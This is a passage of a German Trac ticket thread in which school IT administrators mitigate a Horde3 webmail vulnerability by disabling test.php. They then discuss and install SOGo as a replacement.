Statt das Kript zu löschen kann man es offenbar auch in der Horde-Config deaktivieren.

comment:29 by bau, 8 years ago

Habe gerade noch zusätzlich das Script /horde3/imp/test.php umbenannt und die Leserechte entzogen.

comment:30 by bau, 8 years ago

Problem wurde vor 20 Tagen bei linuxmuster.net diskutiert - leider hatte niemand die Idee, mal alle Betreiber anzumailen :-(

​https://ask.linuxmuster.net/t/sicherheitsluecke-horde3/3262

in reply to:  30 comment:31 by Rüdiger Kupper, 8 years ago

Replying to bau:

Problem wurde vor 20 Tagen bei linuxmuster.net diskutiert - leider hatte niemand die Idee, mal alle Betreiber anzumailen :-(

Na super, das wäre doch mal eine gute Idee gewesen…

Horde in der Version 3.3.12 (die aktuellste, die es für diese Ubuntu-Version gibt) enthält eine ganze Reihe von Sicherheitslücken, siehe hier:
​https://www.cvedetails.com/vulnerability-list/vendor_id-593/Horde.html

Aktuell ist Version 5, doch die ist nur in den neueren Paketquellen.

comment:32 by bau, 8 years ago

Wir wollen ja sowieso alle Zusatzdienste auf virtuelle Hosts auslagern.
Da können wir ja gleich mal anfangen.
Frage ist nur, ob es Horde bleiben soll.
Ich hatte mal SoGo ins Auge gefasst aber leider nicht hinbekommen.
Könnte man da irgendwoher Support bekommen? Den könnten wir durchaus aus dem Etat einkaufen!

comment:33 by Rüdiger Kupper, 8 years ago

Wenn wir irgendwann Nextcloud installieren, ich glaube, das hat auch ein Mail-Plugin. Kalender ebenfalls.

comment:34 by Rüdiger Kupper, 8 years ago

Hier:

Da steht übrigens, dass es die Horde-Bibliotheken nutzt… Aber hoffentlich nur für den Serverkontakt, nicht das Webfrontend.

Doch es gibt sogar noch ein zweites Mail-Plugin für Nextcloud_

comment:35 by Rüdiger Kupper, 8 years ago

Sogo sieht aber auch nicht schlecht aus. Professionellen support habe ich da aber nicht gefunden.

comment:37 by bau, 8 years ago

Hast du mal die Preise angesehen, was die für den Support wollen?
Das übersteigt etwas unser Budget!

Ich habe mal den technischen Support der Uni Ulm angeschrieben, vielleicht können die uns helfen.

comment:38 by bau, 8 years ago

Resolution: → erledigt
Status: new → closed

SOGo ist installiert, eMails und Kalender tun schonmal.
Schritt für Schritt sollten noch ActiveSync etc hinzugefügt werden.

Note: See TracTickets for help on using tickets.